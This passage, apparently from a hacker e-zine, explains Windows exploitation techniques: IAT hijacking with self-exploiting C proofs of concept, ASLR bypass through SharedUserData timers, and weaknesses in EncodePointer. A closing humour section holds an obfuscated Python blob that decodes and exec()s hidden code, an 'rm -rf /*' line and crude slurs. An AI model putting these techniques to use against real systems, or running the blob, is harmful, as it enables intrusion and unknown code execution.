
  char* ptr = NULL;
  char array[10];
  ptr = array;
  strcpy(ptr,argv[1]);
  printf("test one two three...\n");
  strcpy(ptr,argv[2]);
  printf("%s\n",ptr);
  
The basic idea is that we are somehow unable to overflow EIP (either by stack
protection or otherwise) and must overwrite the ptr value with a value of our
choice. Now, if we look closely at the example we can see that the first strcpy
can overflow array. If we overflow array and modify ptr with it, we can control
the destination address of the second strcpy, yielding an arbitrary write.

The Global Offset Table (GOT) redirects position independent address
calculations to an absolute location and is located in the .got section of an
ELF executable or shared object. To quote c0ntex on this:

"It stores the final (absolute) location of a function calls symbol, used in
dynamically linked code. When a program requests to use printf() for instance,
after the rtld locates the symbol, the location is then relocated in the GOT and
allows for the executable via the Procedure Linkage Table, to directly access
the symbols location."

Printf would look something like this:

    Location 1: call 0x80482b0 <printf>   (PLT)
    Location 2: jmp *0x8049550            (GOT)

Where location 2 is the GOT table entry.

If we manage to overwrite ptr with printf()'s GOT entry addr, we can modify the
entry and redirect execution of the following printf() to any address we want,
for example the libc function system() and then supply the name of a suid shell
as an argument.

Now, on Linux this is a pretty well-known technique, but that isn't the case for
its Windows equivalent. In fact, I haven't seen it being documented anywhere.

The PE file format equivalent of the GOT table is the IAT table. The IAT is used
as a lookup table when the application is calling a Windows API function.
Because a compiled PE DLL/EXE cannot know in advance where the other DLLs it
depends upon are located in memory, an indirect jump is required. As the dynamic
linker loads modules and joins them together, it writes jump instructions into
the IAT slots which point to the actual location of the destination function.
If we look at the disassembly of a simple application utilizing printf  we
can see the following:

00401376  |. E8 45050000    CALL <JMP.&msvcrt.printf>           ; \printf

Now, if we take a look at the destination of this call:

004018C0   $-FF25 04514000  JMP DWORD PTR DS:[<&msvcrt.printf>]  ; msvcrt.printf
004018C6     90             NOP
004018C7     90             NOP
004018C8     00             DB 00
004018C9     00             DB 00
004018CA     00             DB 00
004018CB     00             DB 00
004018CC     00             DB 00
004018CD     00             DB 00
004018CE     00             DB 00
004018CF     00             DB 00
004018D0   $-FF25 0C514000  JMP DWORD PTR DS:[<&msvcrt.strcpy>]  ; msvcrt.strcpy


As you can see, in this table we create a jump to the address located at
0x04514000. So the DWORD located at 0x04514000 is taken and that DWORD is
treated as an address to which we jump, the address of the printf function
prologue in msvcrt.dll. I will now present an example demonstrating IAT Table
hijacking.

This is a self-exploiting vulnerable app:

------------------------------------------------------------------------[SNIP]--
#include <stdio.h>
#include <stdlib.h>
#define DIFF 28

// 0x7C81CDDA: ExitProcess kernel32.dll address
#define BUF2 "\xDA\xCD\x81\x7C"

char buffer[500];

int main(int argc, char **argv)
{
        char* pointer = NULL;
        char array[10];
        memset(buffer,0,500);
        memset(buffer,0x90,DIFF);
        strcpy(buffer+DIFF,"\x04\x51\x40\x00"); // printf IAT entry

        pointer = array;
        
        strcpy(pointer, buffer); // argv[1]
        printf("Array contains %s at %p (%p)\n", pointer, &pointer,pointer);
        strcpy(pointer, BUF2);
        printf("Array contains %s at %p (%p)\n", pointer, &pointer,pointer);
        return 0;
}
------------------------------------------------------------------------[/SNIP]-


As you can see, we overflow array by filling it with NOP bytes and overwriting
char* pointer with the address of the printf IAT entry (0x04514000). Once it's
overwritten, the second strcpy operation will copy the address of the
ExitProcess function located in kernel32.dll to the IAT slot of printf,
redirecting the next printf() call to ExitProcess. This technique is pretty
powerful, since it allows us to beat both non-executable stacks and canary
protection. Let me demonstrate this:


------------------------------------------------------------------------[SNIP]--
#include <stdio.h>
#include <stdlib.h>
// still 28, remember the mingw-specific compiler junk?
#define DIFF 28
#define BUF2 "\xDA\xCD\x81\x7C"
//0x7c81cdda exitprocess kernel32.dll address

unsigned char saved_canary;
char buffer[500];

void SomePrivilegedFunction() { }

int main(int argc, char **argv)
{
        char* pointer = NULL; // array + 28
        unsigned char canary; // array + 27
        char array[10];
                
        saved_canary = (unsigned char)(rand()%0xFF);
        canary = saved_canary;
        
        memset(buffer,0,500);
        memset(buffer,0x90,DIFF);
        strcpy(buffer+DIFF,"\xF8\x50\x40\x00"); // exit() IAT entry

        pointer = array;
        
        strcpy(pointer, buffer); // argv[1]                
        printf("[%s]\n",pointer);
        strcpy(pointer, BUF2);
        if(canary != saved_canary)
        {
          exit(0);
        }
        else
          printf("[%s]\n",pointer);
        return 0;
}
------------------------------------------------------------------------[/SNIP]-


This app, a modification of the previously shown app, is self-exploiting, too. 
Only this time, there is a canary value introduced and we will exit() if it 
doesn't match. The solution is obvious, we overwrite exit()'s IAT entry. But 
since we don't control the arguments, what good can come from overwriting it 
like this? Let us see:

00401387  |. 3A05 60404000  CMP AL,BYTE PTR DS:[404060]              ; |
0040138D  |. 74 0C          JE SHORT iathijac.0040139B               ; |
0040138F  |. C70424 0000000>MOV DWORD PTR SS:[ESP],0                 ; |
00401396  |. E8 55050000    CALL <JMP.&msvcrt.exit>                  ; \exit
0040139B  |> 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]             ; |

As we can see, the comparison located at 0x00401387 is followed by a conditional
jump to either the function exit or continuation of code execution flow at
0x0040139B.

So if we overwrite exit()'s IAT entry with, for example, the address of
SomePrivilegedFunction, we still fully control code execution flow. Hell, we can
supply the address of our buffer as well, potentially making it execute
shellcode (that is, on systems with an executable stack, else we'll have to
resort to pure api call replacement or code flow redirection). Also note that
this technique might be of use in combination with other attacks.

For example, when we cannot redirect code flow or supply a usefull API for
overwriting, we can still manipulate the program into unauthorized behavior in
another way, for example by overwriting the IAT entry of the exit() call, when
we know that this call is called after supplying a wrong password. We can then
overwrite the entry with the address of the code branch which is normally called
upon a successfull password check, elevating our privileges. Note that these
write-anything-anywhere situations might seem rare, but are far more common in
format-string exploits.



--[ 0x03 ]--------------------------[ Beating ASLR through global         ]-----
                                    [ static values and .idata disclosure ]

A recurring issue when it comes to reliable exploitation is that of finding a
decent return address. Usually we use an opcode configuration located in a
loaded module or (in some rare cases) located in the mapped executable memory
itself. However, when ASLR is involved, things tend to get a bit tricky, and if
we don't want to rely on prediction or bruteforce, we'll have to find another
way to locate a decent return address. Now, on linux systems, there is the old
linux-gate.so.1 technique. To quote izik's paper:

"'Linux-gate.so.1' is a dynamically shared object (DSO). It's life purpose is to
speed up and support system calls and signal/sigreturn for the kernel within the
user application. In particular it helps out handling a situation where a system
call accepts six parameters. This is when the EBP register has to be overwritten
and serve as the 6th parameter to the system call. Notice that this ties the
usage and need of linux-gate.so.1 to only linux kernels that are running under
ia32 and ia32-64 architectures."

Due to its nature, linux-gate.so.1 is always located at address 0xffffe000, so
we can search from 0xffffe000 to 0xffffeFFF for the desired opcode bytes to get
reliable return addresses.

On Windows however, there is no such thing as linux-gate.so.1 so we must look
for other statically located memory areas. Now let us consider timers and
counters, if we manage to find a timer or counter variable in memory, given its
range is big enough, we know that at a given time this counter/timer will
contain our opcode configuration (say we're looking for a jmp esp, which is
0xFFE4). Now, for using this technique in a reliable exploit we must know:

 0) The interval of the timer/counter
 1) The starting value of the timer/counter
 2) The range of the timer/counter
 3) The (static) address of the timer/counter

So say we have a given timer counting from a given date - January the 1st, 1970,
say. This timer has an interval of 1 second and a size of 4 bytes. Determening
the interval can be done in a number of ways, unless one already has knowledge
of the usage of said timer. One such method might be Skape's Telescope program
discussed in his "Temporal Return Addresses" article for uninformed. Now, if we
are on the same machine, exploiting a local vulnerability, determining local
time is trivial, but what to do when we are attacking a remote machine?

There are several techniques we can use to determine remote system time.

0) Using NetRemoteTOD in combination with NULL sessions.

   It is possible to use a standard windows API for determining the remote time.
   Doing so requires establishing a NULL session first. For those unfamiliar
   with the concept: http://rusecure.rutgers.edu/add_sec_meas/nullssn.php

   A small C example of code establishing a connection:
   
   NETRESOURCE nr;
	 nr.lpRemoteName = "\\\\server\\resource";
	 nr.dwType = RESOURCETYPE_DISK;
	 nr.lpLocalName = NULL;
	 nr.lpProvider = NULL;
   WNetAddConnection2(&nr,(LPSTR) szPassWord,(LPSTR) szUserName,0);

   Now fetching the remote time goes as follows:

   WCHAR wszNetbios[200];
	 TIME_OF_DAY_INFO *tinfo=NULL;
	 // convert string
      mbstowcs(wszNetbios, szServer, 200);
	 // return server time of day
      NetRemoteTOD(wszNetbios,(LPBYTE *)&tinfo);
          
   As you can see, the TIME_OF_DAY_INFO structure provides plenty of information
   for us to deal with: http://msdn2.microsoft.com/en-us/library/aa370959.aspx

1) ICMP TIMESTAMP 

   We can use the ICMP TIMESTAMP request to obtain the number of milliseconds
   since midnight UT. If we can obtain the timezone we can obtain the exact
   remote time. Obtaining the timezone can be done by performing an IP WHOIS
   lookup for example.

2) HTTP Server Date Header

   If a HTTPd is running on the target machine, we can potentially fetch the
   remote date from the HTTP header.

3) IP Timestamps Option

   Just like the ICMP TIMESTAMP request, IP also has a timestamp option that
   measures the number of milliseconds since midnight UT.


Now let us look at a special memory region found in all processes on Windows
NT+. This memory region, known as NTSharedUserData is always located at the same
static address, namely 0x7ffe0000. The structure looks like this on WinXP SP2:

   +0x000 TickCountLow     : Uint4B
   +0x004 TickCountMultiplier : Uint4B
   +0x008 InterruptTime    : _KSYSTEM_TIME
   +0x014 SystemTime       : _KSYSTEM_TIME
   +0x020 TimeZoneBias     : _KSYSTEM_TIME
   +0x02c ImageNumberLow   : Uint2B
   +0x02e ImageNumberHigh  : Uint2B
   +0x030 NtSystemRoot     : [260] Uint2B
   +0x238 MaxStackTraceDepth : Uint4B
   +0x23c CryptoExponent   : Uint4B
   +0x240 TimeZoneId       : Uint4B
   +0x244 Reserved2        : [8] Uint4B
   +0x264 NtProductType    : _NT_PRODUCT_TYPE
   +0x268 ProductTypeIsValid : UChar
   +0x26c NtMajorVersion   : Uint4B
   +0x270 NtMinorVersion   : Uint4B
   +0x274 ProcessorFeatures : [64] UChar
   +0x2b4 Reserved1        : Uint4B
   +0x2b8 Reserved3        : Uint4B
   +0x2bc TimeSlip         : Uint4B
   +0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE
   +0x2c8 SystemExpirationDate : _LARGE_INTEGER
   +0x2d0 SuiteMask        : Uint4B
   +0x2d4 KdDebuggerEnabled : UChar
   +0x2d5 NXSupportPolicy  : UChar
   +0x2d8 ActiveConsoleId  : Uint4B
   +0x2dc DismountCount    : Uint4B
   +0x2e0 ComPlusPackage   : Uint4B
   +0x2e4 LastSystemRITEventTickCount : Uint4B
   +0x2e8 NumberOfPhysicalPages : Uint4B
   +0x2ec SafeBootMode     : UChar
   +0x2f0 TraceLogging     : Uint4B
   +0x2f8 TestRetInstruction : Uint8B
   +0x300 SystemCall       : Uint4B
   +0x304 SystemCallReturn : Uint4B
   +0x308 SystemCallPad    : [3] Uint8B
   +0x320 TickCount        : _KSYSTEM_TIME
   +0x320 TickCountQuad    : Uint8B
   +0x330 Cookie           : Uint4B

One of the purposes of SharedUserData is to provide processes with a global and
consistent method of obtaining certain information that may be requested
frequently. The reason why it's located at a static address is a design issue.
Prior to Windows XP, system calls were dispatched through the soft-interrupt
0x2E. From XP SP0 on however, they designed a way to support processor-specific
instructions for system calls, such as sysenter or syscall. To support this,
Microsoft added fields to the NtSharedUserData structure, namely the SystemCall
related fields. If we take a look at the disassembly of the data located at
NtSharedUserData.SystemCall on XP SP0 systems:

    7ffe0300 8bd4             mov edx,esp
    7ffe0302 0f34             sysenter
    7ffe0304 c3               ret

Those familiar with windows system calls will immediately recognize this as the
m$ way of calling NT syscalls. Hence why all syscalls preformed by Windows APIs
reference NtSharedUserData.SystemCall:

    mov  edx,0x7ffe0300
    call edx

Due to the fact that SharedUserData contained executable instructions, it was
thus necessary that the SharedUserData mapping had to be marked as executable.
However, starting from XP SP2 and 2003 SP1 they realized that this might pose a
security risk (O RLY?) So instead of positioning executable instructions there,
they replaced them with pointers, as seen on XP SP2 systems:

    +0x300 SystemCall       : 0x7c90eb8b
    +0x304 SystemCallReturn : 0x7c90eb94

So all syscall stubs were changed like this:

    mov     edx,0x7ffe0300
    call    dword ptr [edx]

The address referenced by the NtSharedUserData.Syscall is the address of
ntdll.KiFastSystemCall, which is the same code stub previously located at
NtSharedUserData.Syscall. Now all WinNT+ systems up to XP SP2 and win2k3 SP1
have an executable SharedUserData, which makes it perfectly suited as a static
return address location. As we discussed earlier, we can use timer variables as
a return address location, and SharedUserData has three of them, namely:

   +0x000 TickCountLow     : Uint4B
   +0x008 InterruptTime    : _KSYSTEM_TIME
   +0x014 SystemTime       : _KSYSTEM_TIME
   
Now, let us look at them with our prerequisites for a good temporal return
address in mind. Let us first look at TickCountLow. TickCountLow is used, in
combination with TickCountMultiplier to calculate the number of milliseconds
since boot like this:

MilliSeconds = TickCountLow * TickCountMultiplier >> 24

Because the initial value is unknown to us, and the update interval may vary
among different hardware architectures, this value is quite unreliable. We can
however, use the TCP timestamping technique to determine the current value and
interval.

The InterruptTime value stores a 100 nanosecond counter couting the amount of
time spent processing system interrupts. Due to its unpredictable nature, both
regarding interval and initial value, this variable is virtually unusable.

The SystemTime value is a 100 nanosecond counter measured from Jan. 1, 1601.
This time is relative to the timezone the target machine is using. So if we
obtain that information, we can use the SystemTime value as a very usefull
temporal return address.

Now, the last step is to calculate the exact point of time when the target
variable will contain a valuable opcode. Let us consider a 32 bit double word
initialized with 0x00000000 at a given time, being continually incremented by Z
at an interval of X. Now, there are plenty of useful opcodes, including jmp/call
esp, pop/pop/ret for SEH overwrites, and so forth. Let's consider a trivial jmp
esp, which is 0xFFE4. Also let our target variable be located at address Y,
giving us 5 opcode occurrences during a full loop:

 1) 0xFFE4<UUUU>
 2) 0x<U>FFE4<UUU>
 3) 0x<UU>FFE4<UU>
 4) 0x<UUU>FFE4<U>
 5) 0x<UUUU>FFE4
 
where U is any byte. The first time, 0xFFE4<UUUU> is reached after a time of
((0xFFE40000 * X)/Z) and lasts for 

   (((0xFFE50000-0xFFE40000-1)*X)/Z) =  ((0xFFFF * X)/Z).
    
Given this technique, we can calculate the exact time and time window of valid
opcode occurrences.

Another interesting trick becomes applicable when exploiting a format string bug
yielding a read-anything from anywhere situation. Since .idata includes the
import directory as well as the import address name table and is statically
located, we can deduce the address of any given function. For every imported
module there is a special structure in the .idata section (as worked out by
Caolan McNamara):

    typedef struct tagImportDirectory
        {
        DWORD    dwRVAFunctionNameList;
        DWORD    dwUseless1;
        DWORD    dwUseless2;
        DWORD    dwRVAModuleName;
        DWORD    dwRVAFunctionAddressList;
        }IMAGE_IMPORT_MODULE_DIRECTORY,
         * PIMAGE_IMPORT_MODULE_DIRECTORY;

Each one of these entries points to information for the given imported module.

dwRVAFunctionNameList is a relative virtual address that points to a list of
RVAs, each pointing to the null-terminated string of an imported function name.
The dwUseless DWORDS are simply padding area. dwRVAModuleName is a relative
virtual address that points to the module name.

dwRVAFunctionAddressList is a RVA pointing to a list of RVAs that will be loaded
upon PE loading time. This list contains the addresses of the loaded functions.
Now, by using a read-anything-from-anywhere situation, we can read from this
statically located dwRVAFunctionAddressList to deduce the address of an imported
function. If we then substract the correct offset, which isn't randomized, we
can obtain the base address for the given randomized module and beat ASLR in
this fashion.



--[ 0x04 ]------------[ A look at the M$ Pointer hijacking protection API ]-----


Somewhere in 2006, Michael Howard blogged about Microsoft's EncodePointer /
EncodeSystemPointer APIs which where designed to make pointer hijacking more
difficult. Now, for those who don't know what pointer hijacking is, it's
actually pretty simple, given a vulnerable function:


------------------------------------------------------------------------[SNIP]--
int VulnFunc(char *szString) {

  DWORD fp;
  char buf[32];
  strcpy(buf,szString);
  fp = (DWORD)&SomeFunc;
  #ifdef DEBUG
    printf("[*] fp == 0x%04x\n",fp);
  #endif

  strcpy(buf,szString);

  #ifdef DEBUG
    printf("[*] fp == 0x%04x\n",fp);
  #endif
  if (fp)
    (*(void (*)(void)) fp)();
  return 0;
}
------------------------------------------------------------------------[/SNIP]-


Now, this simple stack overflow would usually be exploited by casually
overwriting EIP. But what if, for some reason, we can't supply a big enough
string (szString is too small for example)? Well, in that case we could
overwrite the fp pointer and gain control of code execution flow that way, upon
execution of (*(void (*)(void)) fp)(). Example:

When running the function using szString = "test" we get the following output:

[*] fp == 0x401290
[*] fp == 0x401290

When supplying a buffer of "\x90"x44,"\x41"x4 we get the following output:

[*] fp == 0x401290
[*] fp == 0x41414141

Now, starting from Windows XP SP2 and Windows Server 2003 SP1, M$ supplies us
with the EncodePointer / DecodePointer and EncodeSystemPointer APIs. These
functions encode the pointer and decode it before usage, adding a layer of
security when using long-lived pointers. A small example:


------------------------------------------------------------------------[SNIP]--
int Functionlol(char *szString) {

  DWORD fp;
  DWORD fp2;
  char buf[32];
  
  fp = (DWORD)&SomeFunc;
  fp2 = 0xCAFEBABE;

  #ifdef DEBUG
  printf("[*]Before encoding of fp:\n");
  printf("[*] fp == 0x%04x\n",fp);
  printf("[*] fp2 == 0x%04x\n",fp2);
  #endif

  fp = (DWORD)(*(PVOID (*)(PVOID)) EncodePointer)(&SomeFunc);

  #ifdef DEBUG
  printf("[*]After encoding of fp and before b0f:\n");
  printf("[*] fp == 0x%04x\n",fp);
  printf("[*] fp2 == 0x%04x\n",fp2);
  #endif

  strcpy(buf,szString);

  #ifdef DEBUG
  printf(
    "[*]After encoding of fp and after b0f, before decoding of fp to fp2:\n");
  printf("[*] fp == 0x%04x\n",fp);
  printf("[*] fp2 == 0x%04x\n",fp2);
  #endif

  fp2 = (DWORD)(*(PVOID (*)(PVOID)) DecodePointer)((void*)fp);

  #ifdef DEBUG
  printf("[*]After decoding of fp to fp2:\n");
  printf("[*] fp == 0x%04x\n",fp);
  printf("[*] fp2 == 0x%04x\n",fp2);
  #endif
  
  if (fp2)
    (*(void (*)(void)) fp2)();
  return 0;
}
------------------------------------------------------------------------[/SNIP]-


Note that I loaded EncodePointer and DecodePointer directly from kernel32.dll
using GetProcAddress. Let us see how this works out:

When setting szString = "test"

[*]Before encoding of fp:
[*] fp == 0x401290
[*] fp2 == 0xcafebabe
[*]After encoding of fp and before b0f:
[*] fp == 0xc910c294
[*] fp2 == 0xcafebabe
[*]After encoding of fp and after b0f, before decoding of fp to fp2:
[*] fp == 0xc910c294
[*] fp2 == 0xcafebabe
[*]After decoding of fp to fp2:
[*] fp == 0xc910c294
[*] fp2 == 0x401290

As we can see, fp gets neatly encoded and eventually decoded to fp2.
Now, when attempting a buffer overflow attack:

[*]Before encoding of fp:
[*] fp == 0x401290
[*] fp2 == 0xcafebabe
[*]After encoding of fp and before b0f:
[*] fp == 0xc910c294
[*] fp2 == 0xcafebabe
[*]After encoding of fp and after b0f, before decoding of fp to fp2:
[*] fp == 0x41414141
[*] fp2 == 0x90909090
[*]After decoding of fp to fp2:
[*] fp == 0x41414141
[*] fp2 == 0x88119145

As we can see, fp gets encoded and eventually overwritten with 0x41414141. The
problem lies in the fact that this value gets decoded to fp2, resulting in a
false address. EncodeSystemPointer / DecodeSystemPointer work in exactly the
same manner, with one major difference. EncodePointer uses a per-process
randomized value, whilst EncodeSystemPointer uses a system-wide unique value.

Interesting ... but how do these functions work exactly?

Let us first look at EncodeSystemPointer, since this function is the least
secure. EncodeSystemPointer is located at 0x7C91AFC8 in kernel32.dll on my box,
which disassembles to:

7C91AFC8 > 8BFF             MOV EDI,EDI
7C91AFCA   55               PUSH EBP
7C91AFCB   8BEC             MOV EBP,ESP
7C91AFCD   A1 3003FE7F      MOV EAX,DWORD PTR DS:[7FFE0330]
7C91AFD2   3345 08          XOR EAX,DWORD PTR SS:[EBP+8]
7C91AFD5   5D               POP EBP
7C91AFD6   C2 0400          RETN 4

Obviously DecodeSystemPointer is exactly the same as EncodeSystemPointer, since
the function is basically a XOR of the pointer with a certain "magic value"
DWORD located at 0x7FFE0330. What lies there? Well, this is a certain value in
SharedUserData (_KUSER_SHARED_DATA), indeed, the SharedUserData region  we
discussed in section [0x02]. As we can see, the value referred to in the
EncodeSystemPointer code is  0x7FFE0330, which is  the base address  of
SharedUserData + 0x330, which is the Cookie offset. This cookie is a magic value
which changes on reboot.

All processes have access to this Cookie, no matter what privileges. So local
attacks wouldn't be a problem since the exploit program would simply check the
value of *(DWORD*)(0x7ffe0330) and XOR the desired pointer overwrite address
with this cookie. Also, due to the static nature of this value during uptime,
eventually guessing it through bruteforce would be possible too.

Now let us look at EncodePointer.
EncodePointer is located at 0x7C913917 in kernel32.dll on my box:

Disassembly:

7C913917 > 8BFF             MOV EDI,EDI
7C913919   55               PUSH EBP
7C91391A   8BEC             MOV EBP,ESP
7C91391C   51               PUSH ECX
7C91391D   6A 00            PUSH 0
7C91391F   6A 04            PUSH 4
7C913921   8D45 FC          LEA EAX,DWORD PTR SS:[EBP-4]
7C913924   50               PUSH EAX
7C913925   6A 24            PUSH 24
7C913927   6A FF            PUSH -1
7C913929   E8 EDA6FFFF      CALL ntdll.ZwQueryInformationProcess
7C91392E   8B45 FC          MOV EAX,DWORD PTR SS:[EBP-4]
7C913931   3345 08          XOR EAX,DWORD PTR SS:[EBP+8]
7C913934   C9               LEAVE
7C913935   C2 0400          RETN 4

DecodePointer:

7C91393D > 8BFF             MOV EDI,EDI
7C91393F   55               PUSH EBP
7C913940   8BEC             MOV EBP,ESP
7C913942   5D               POP EBP
7C913943  ^EB D2            JMP SHORT ntdll.RtlEncodePointer


As we can see DecodePointer is once again simply EncodePointer. Now, what
EncodePointer does is pretty simple, it makes a call like:

ntdll.ZwQueryInformationProcess(-1,24,dword ptr ss:[ebp-4],4,0)

Which is a simple query of ProcessSessionInformation (0x24) for the calling
process (0xFFFFFFFF == -1 == CurrentProcess handle). The returned value is the
ProcessSessionID of the ProcessEnvironmentBlock (PEB), as can be confirmed by
looking at the ReactOS (OpenSource WinNT compatible implementation) kernel
source for ZwQueryInformationProcess:
 
     case ProcessSessionInformation:
     /* ... */
     /* Enter SEH for write to user-mode PEB */
     _SEH_TRY
     {
         /* Write the session ID */
         Process->Peb->SessionId = SessionInfo.SessionId;
     }
                
Now this value is pretty tricky due to it's very random nature, but apperently
it's constructed in the following manner upon process creation.

  o The higher portion of the system tick count 
    (100 nano-second tick count since Jan 01, 1601)        XOR
  o The lower portion the system tick count                XOR
  o The interrupt time (number of ticks during interrupts) XOR
  o The number of system calls since system boot           XOR
  o The (ULONG)rdtsc CPU value                             XOR
  o The memory manager page fault count 

This result is then rotated right on encode using Cookie%(sizeof(ULONG_PTR)*8).
In pseudocode on a 32-bit CPU, encoding looks like this:

  Ptrenc = (Ptrclear ^ Cookie) >>> (Cookie % 32) 

The reason for the rotation is to make it harder to target partial pointer
overwrites, because target bits are in an unknown position in the encoded
pointer. Now we could simply bruteforce this value but there are ways to be more
efficient in our bruteforce. If we could determine any of the values used for
SessionID generation, bruteforcing would be a tad easier, because if with:

 (w ^ x ^ y ^ z ^ a ^ b)

w and x are known (or approximated), it leaves us with less to bruteforce. Now,
we can attempt to determine these values remotely through uptime fingerprinting.
If we can determinte the target machine's uptime, we can approximate the first
two values.

Locally  determining  the  system uptime  is  possible  by calling  the
NtQuerySystemInformation native API with the SystemTimeOfDayInformation system
information class, this will return the system boottime in 100 nanosecond
intervals, from which determining the system uptime is trivial.

Remotely determining uptime is possible through the TCP Timestamps Option
(TSopt) described in RFC 1323. This is possible because the way operating
systems manage their TCP timestamping allows a remote client to guess, if he
recognizes the operating system through OS fingerprinting, the machine's
uptime. BSD, for example, increments the timestamp value by one point each 500
milliseconds. The optional TCP field looks like this:

    1        1             4                         4
   +--------+-------------+-----------------------+--------------------------+
   | Kind=8 |   size=10   |   TS Value (TSval)    | TS Echo Reply (TSecr)    |
   +--------+-------------+-----------------------+--------------------------+


We need to keep in mind the following things though:

The length of a timestamp value in a TCP packet is 4 bytes, so it will roll over
when the value crosses the limit of 2^32. Also windows does not instantly start
to increase the timestamp once the system has been booted up. nmap uses this
technique and does pretty well (for windows as well, despite the aforementioned
issue), so if you're interested in implementing this as a function in your
exploit trying to beat EncodePointer secured applications, you should take a
look at nmap's uptime guessing routines.

The rdtsc CPU value is simply a timestamp counter which represents the count of
ticks from processor reset.

So if we manage to obtain the uptime, and we can safely assume uptime and
process creationtime are close to each other, we can make an approximation of at
least 3 values remotely.

Now these techniques are not very accurate, but might help you  exploit
applications employing pointer encoding.



--[ 0x05 ]------------------------------------------[ Greetings 'n shoutz ]-----

Greets and shouts go to Nullsec, the whole .aware/xzziroz community, The
HackThisSite collective, RRLF, 29A, The entire SmashTheStack crew, PullThePlug ,
BinaryShadow Organization, #dutch crew, Vx.netlux folks/Undernet VX crew,
blacksecurity and all "true" hackers out there.
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
[==============================================================================]
[------------------------------[ cat /dev/random ]-----------------------------]
[==============================================================================]


 ++++++++++[>++++++++>+++++++>++++++++++>+++>++++++++>++++++>++++++++>
 ++  thE + ranTz + 0f + m4d + m3n ++ ++++>+++++++++>+++>+++++>+++++++>
 +++>++++++++>+++++>+++++++>+++>++++++++>+++++>++++++++
                                                          <<<<<<<<<<<<<<<<<<<<-]
   >++++.>++.>+.>++.>++.>+++++.>--.>----.
   >.>++.>--.>.>++.>---.>++.>--.
   >++.>---.>+.>--.                [-][ /dev/random at its best ][-]


                                                              
[====[ rs ]====================================================================]


 XML is gay. Please support us by placing this line in your next
 remote OpenSSH 0day.:

   /*  __  *\      ___ _   _  ___ _  __  __  ____  __ _    |''|''|
  //  /\/\  \\    | __| | | |/ __| |/ /  \ \/ /  \/  | |   | '| '|
  \\ ( °° ) //    | _|| |_| | (__| ' <    >  <| |\/| | |__ \__|__|
   \\ \0 / //     |_|  \___/ \___|_|\_\  /_/\_\_|  |_|____| __ __ 
  (angry person)                                           (__)_*/
 


[====[ rs ]====================================================================] 


# You are in a hazy maze of XOR encrypted walls. You see a terifically
# hung mage. He's preparing a spell.                                  
#######################################################################
import zlib,base64;s=base64.decodestring("""ljRLfL+lLd7+KTEVxxAKi6c5qsX
WioXpLdf/yeYbI6SxArbKhaV9zJCVPYao/yujwRJXVTITYK6gAHRU2z6B1NycuehFxqWDzF
qXQNXN2EQ9tbn/tHuL/dpDQuLmyQ8XB3bSjJedl5VZVlAsvbB/DpvFu2eW9O51VGtsQq7mx
wTMJkN8FCrlrtYenW5oIus66AJJxaTzqod0wIO6NgbMAyOJDhiOlhmHksEQs5eOMhkQOAYp
APPRahbBFouoQZeYUbDSyqlfcBD1BY8lyBM5DNadYbDVPEBpPmN8aPxVr4JkYeP1701f/AR
LPWigILaqHHiqXfuLXWJk1ogBmqBmOg==""");g=lambda t,k:zlib.decompress( ###
reduce(lambda c,C:c+chr(ord(C)^k),t,"")) ##############################
for k in range(256): ########################## ,--aware ##############
 try:exec(g(s,k)) ############################ (  o ) #################
 except:pass ################################## `--Ž ##################
#######################################################################


[====[ iq ]====================================================================]

       wh0 needs them new fancy schmancy consoles anyway?

       ...not that i have anything against z80
                   but i do like the sexy gbdk...
                
       more < gb-aware.c
         
       #include <gb/gb.h>
       #include <stdio.h>

       void main() {
         printf("greetz\n#aware\npeepz!");
         waitpad(0x80U);
       }                      
        
       lcc -o awarenet.gb gb-aware.c


                   _n_________________
                  |_|_______________|_|
                  |  ,-------------.  |
                  | |  .---------.  | |
                  | |  | greetz  |  | |
                  | |  | #aware  |  | |
                  | |  | peepz!  |  | |
                  | |  |         |  | |
                  | |  `---------'  | |
                  | `---------------' |
                  |   _  GAY BOY      |
                  | _| |_         ,-. |
                  ||_ O _|   ,-.  ._, |
                  |  |_|     ._,    A |
                  |    _  _    B      |
                  |   // //           |
                  |  // //    \\\\\\  |
                  |  `  `      \\\\\\ ,
                  |________...______,Ž


[====[ rs ]====================================================================]


#/bin/dance/pySchlong
import sys,random,time
X,T,C=sys.stdout.flush,time.sleep,random.randrange
while [[ ]]:print ' '*9,'<\\_'[C(3)]+'o'+'>/_'[C(3)],'\r',;X();T(.2)


[====[ iq ]====================================================================]


    Poetry  by  a  cracker;  Life  in  one  byte
    --------------------------------------------
    8 bits [grow,am,get,smoke,want,start,can,do]


    I grow weed and therefor...
        i know greed.
           
    I am sick and tired of my greed for weed...
        so instead I do speed.
                     
    I get angry very easily...
        almost like i'm the active ingredient in pcp.
                     
    I smoke weed but i can not get high enough...
        can never fly enough.
                     
    I want to get away, I have no urge to be, just to see...
        so i do massive amounts of lsd.
                     
    I start to feel week, my mind is mess...
        am I going insane? I snort some cocaine.
                    
    I can not feel my face but I feel strong and lean...
        how long has it been? I better score heroin.
                   
    I do not need it, this will be the last!...
       I feel the all familiar warmth and love as it fills meeeee...
          
                           O.D!

                                           _________
                                      _.--'         `-._
                               __    /       drugs      \
                              |  |   \                  /
             _________        |..|    ``--...____...--''
        _.--'         `-._   /_/\_\     ___..-(O/
       /      #aware      \  |  __...--' __..-''
       \                  /_.--(o)_...--'
        ``--...____...--''__..--'_|
               \O)___..--'   \ \/ /
                .-------------|''|-------------.
               /              |__|              \
              /__________________________________\
              '----------------------------------'


[====[ rs ]====================================================================]

 Is nothing sacred any more?! ASCII eZines should wrap at 80 cols. 

                 ,
                /|      ,
   ,--.________/ /-----/|------------------------------------------.._
  (    /_/_/_/_  |--------- rm -rf /* ----------------------------<  _`>
   `--Ž        \ \-----\|------------------------------------------''Ž
                \|      '
                 '  (mighty 80col-wrapped sword of rm'ing)


[====[ rs ]====================================================================]


$ wget http://awarenetwork.org/home/rattle/source/ccode/brainfark.c
$ gcc -o bf brainfark.c
$ cat > crackme.txt
                           ___challenge:___
                      __gd++++++++++[>+++>++bp__
                   _g++++>+P^^""j+++"^""^^++++<<<p_
                _g-]>>^>.+b    d++ +;       ""^^+++.p_
              _d[-]^"  :<-    -.[                "^-]<b_
            _d++.'      [-b_   ]>b                  `---b_
           d---'      _gg----bpd[++p_d+bpp_           `+++b
          d+++      _d+>,----------]<[[>]<bp_           [>>b
         d+<<      d[<]<++>>[>]<-]<[[>>+<<[<]b_          <->b
        d>[>      d]<-]<[<]]>]<++++++P^^T+++++            +++b
